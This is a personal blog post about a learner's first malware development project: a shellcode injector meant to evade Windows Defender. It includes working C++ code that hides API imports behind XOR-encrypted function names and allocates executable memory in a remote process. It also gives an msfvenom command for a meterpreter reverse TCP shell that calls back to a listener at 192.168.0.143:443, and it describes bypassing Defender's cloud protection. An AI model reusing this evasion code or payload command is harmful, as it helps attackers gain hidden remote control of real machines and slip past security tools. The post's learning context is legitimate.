My first steps in MalDev

Feb 28, 2024

Prelude

Around this last month I have been digging into the Malware Development world. I have always wanted to expand my knowledge within this field, and I felt like it was the moment to do so.

As mentioned in many other blogposts, Sektor7 Malware Development Essentials course was a good point to start. Nevertheless, I found this course very short and I felt like most of the important concepts are ignored (e.g., what is a handle?) and are just used like if I already know them.

Because of that, I actually recommend take a little stop on each of the things that the course shows you in order to UNDERSTAND what does each line do and also do some personal research on each of the things that the course provides.

I personally made questions like:

I wanted to make sure that I really learnt from this course and compiling and execute the code they give you is not the way to do it. I personally recommend to watch their videos, take some notes, and reproduce and execute the code in your personal project files. Do not be scared to improve or modify the code they give you if you think that can be useful.

The result of following these steps was a final course project in which I included all of the techniques given in the course to avoid detection (mainly static detection, it is a basic course) combined with am extra technique that made me bypass Windows Defender sandbox analysis.

Please note that I have just started to learn about these things and that I can be wrong; feel free to contact me at any of my social media to improve the quality of this post and my content overall.

Evasive? loader/injector

The final project consists on a shellcode loader/injector (let’s use injector from now on). This shellcode injector is able to bypass Windows Defender with a meterpreter x64 shellcode at the day of this post (2024/03/05) with Cloud Protection enabled.

EDIT: A week after this post was created, the dropper is not anymore evasive and is detected (dinamically) by Defender. I personally thought that this dropper is not stealthy enough to be evasive and a lot of evasive measures can (and will) be added to this dropper in the future. This has just started :P

This injector has the following properties:

The API calls performed in this executable are simple:

The injector has the following phases:

The result is a thread in the remote process executing our shellcode.

Finding PID given process name

The used Windows API functions to perform the process injection technique require the PID of the process to inject into. A function that dinamically obtains the PID of a given process name at runtime was implemented in the injector using some of the Windows API calls.

The function is the following:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int findMyProc(wchar_t* procname) {

	HANDLE hSnapshot; // Handle to the system process snapshot.
	PROCESSENTRY32 pe;
	int pid = 0;
	BOOL hResult;

	printf("Searching for the process %ls to get its PID...\n", procname);

	// snapshot of all processes in the system
	unsigned char CreateToolhelp32SnapshotEncrypted[] = { 0x2A, 0xC4, 0xAB, 0x42, 0x50, 0x6D, 0xBE, 0x0C, 0x0F, 0xF3, 0xCB, 0xE1, 0x66, 0x62, 0x98, 0xBA, 0xCF, 0xD0, 0x42, 0xC9, 0x58, 0x3B, 0x93, 0xA2, 0xB3 };
	XOR(CreateToolhelp32SnapshotEncrypted, sizeof(CreateToolhelp32SnapshotEncrypted), key, key_len);
	auto const pCreateToolhelp32Snapshot = reinterpret_cast<LPVOID(WINAPI*)(DWORD dwFlags, DWORD th32ProcessID)>(
		GetProcAddress(hKernel32, (LPCSTR)CreateToolhelp32SnapshotEncrypted)
		);
	hSnapshot = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE) return 0;

	// It is neccesary to initialize the size of the process entry.
	/* Before calling the Process32First function, set this member to sizeof(PROCESSENTRY32). If you do not initialize dwSize,
	Process32First fails (https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/ns-tlhelp32-processentry32) */
	pe.dwSize = sizeof(PROCESSENTRY32W);

	// Retrieve infrormation about first process encountered in a system snapshot
	unsigned char Process32FirstWEncrypted[] = { 0x39, 0xC4, 0xA1, 0x40, 0x41, 0x7B, 0x99, 0x50, 0x52, 0xD9, 0xCA, 0xF6, 0x79, 0x66, 0xFC, 0x88 };
	XOR(Process32FirstWEncrypted, sizeof(Process32FirstWEncrypted), key, key_len);
	auto const pProcess32FirstW = reinterpret_cast<BOOL(WINAPI*)(HANDLE hSnapshot, LPPROCESSENTRY32 lppe)>(
		GetProcAddress(hKernel32, (LPCSTR)Process32FirstWEncrypted)
		);
	hResult = pProcess32FirstW(hSnapshot, &pe);

	// Get information about the obtained process using its handle
	// and exit if unsuccessful
	unsigned char Process32NextWEncrypted[] = { 0x39, 0xC4, 0xA1, 0x40, 0x41, 0x7B, 0x99, 0x50, 0x52, 0xD1, 0xC6, 0xFC, 0x7E, 0x45, 0xAB };
	XOR(Process32NextWEncrypted, sizeof(Process32NextWEncrypted), key, key_len);
	auto const pProcess32NextW = reinterpret_cast<BOOL(WINAPI*)(HANDLE hSnapshot, LPPROCESSENTRY32 lppe)>(
		GetProcAddress(hKernel32, (LPCSTR)Process32NextWEncrypted)
		);
	while (pProcess32NextW(hSnapshot, &pe)) {
		if (lstrcmpW(pe.szExeFile, procname) == 0) {
			pid = pe.th32ProcessID;
			break;
		}
	}

	// Close the open handle; we don't need it anymore
	CloseHandle(hSnapshot);
	return pid;
}

Note that this function will return the first PID occurrence related to the process specified; if there are two process called notepad.exe, it will return the first one that is found in the snapshot obtained calling CreateToolhelp32Snapshot (a lot of factors influence in the first returned PID).

Evasion techniques

Here is a detailed overview of each of the things I implemented in the program to make it stealthier, both statically and dinamically. Overall, I think that it is missing a lot of evasion techniques but as I repeated before, I am just learning slowly to know what I am exactly doing without copypasting.

Windows Subsystem

The program is compiled specifying WINDOWS as the subsystem and not CONSOLE as the subsystem in order to avoid the OS allocating a console when the file is executed. In order to do this, we first need to compile the file specifying WINDOWS as the SUBSYSTEM FLAG:

After that, the linker will not search for the main function; instead, it will search for the following function:

1
int WINAPI WinMain(HINSTANCE,HISTANCE,LPSTR,int);

Therefore we must replace our main function with WinMain:

IAT hiding + encrypted strings

The API calls are resolved dinamically, therefore, not appearing in the IAT of the file. Let’s see the snippet of the code to obfuscate an API call:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// VirtualAllocEx\0 char array encrypted with the XOR key
unsigned char VirtualAllocExEncrypted[] = { 0x3F, 0xDF, 0xBC, 0x57, 0x51, 0x69, 0x86, 0x22, 0x0C, 0xF3, 0xCC, 0xE7, 0x4F, 0x6A, 0xAB };
// Decrypting the string
XOR(VirtualAllocExEncrypted, sizeof(VirtualAllocExEncrypted), key, key_len);
// Obtaining the pointer to the VirtualAllocEx function at runtime
auto const pVirtualAllocEx = reinterpret_cast<LPVOID(WINAPI*)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)>(
		GetProcAddress(GetModuleHandle("kernel32.dll"), (LPCSTR)VirtualAllocExEncrypted)
		);
// Calling the function using the pointer
	lpBufferAddress = pVirtualAllocEx(hOpenProcess, NULL, shellcode_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

The string is encrypted to not use GetProcAddress and insert the hardcoded “VirtualAllocEx” function name. This would result in the function name appearing as a string in the file. Given this technique, PE analyzers do not display any information about these calls in the IAT nor in the strings. We can see an example with PExplorer, in which none of the used imports is being shown in the IAT:

Also, strings related to these calls do not appear in the strings section:

Analyzing the loader with ThreatCheck

ThreatCheck is an interesting tool designed by RastaMouse that allows us to pinpoint the exact bytes that Windows Defender will flag when scanning the file.

We can use this tool with our loader to verify if Defender flags our file:

We can see that at first sight Defender does not seem to detect our loader.

Used shellcode

The used shellcode is generated from msfvenom and it is a meterpreter reverse TCP shell. The shellcode used is staged and that means that it is lighter, but there is a download of the rest of the shellcode after the initial shellcode has been executed.

1
msfvenom --platform windows --arch x64 -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.0.143 LPORT=443 -f raw -o meterpreter EXITFUNC=thread

Defender Bypass PoC

Here is a video using this injector to load the previous shellcode with Defender on. Note that all of the functionalities of Defender are activated but the automatic sample submission (for obvious reasons):

We can see that no console is being displayed and that it looks stealthy.

Future research areas

This post is just the start of a big project I have in hand. The main objective of my project is to understand how OS (specially Windows) works, and how EDR solutions work, in order to understand the most advanced EDR evasion techniques and how can I implement my own techniques to evade EDR using the OS facilities.

I will update this injector when I discover more techniques, but here are some of the possible upgrade areas:

I will start soon Sektor7 Malware Development Intermediate course and start reading Windows Internals book, to complement my knowledge.

I hope you liked reading my post, feel free to contact me at any of my socials for any question/aclaration or just to give me tips, and I hope we see each other soon!

jasco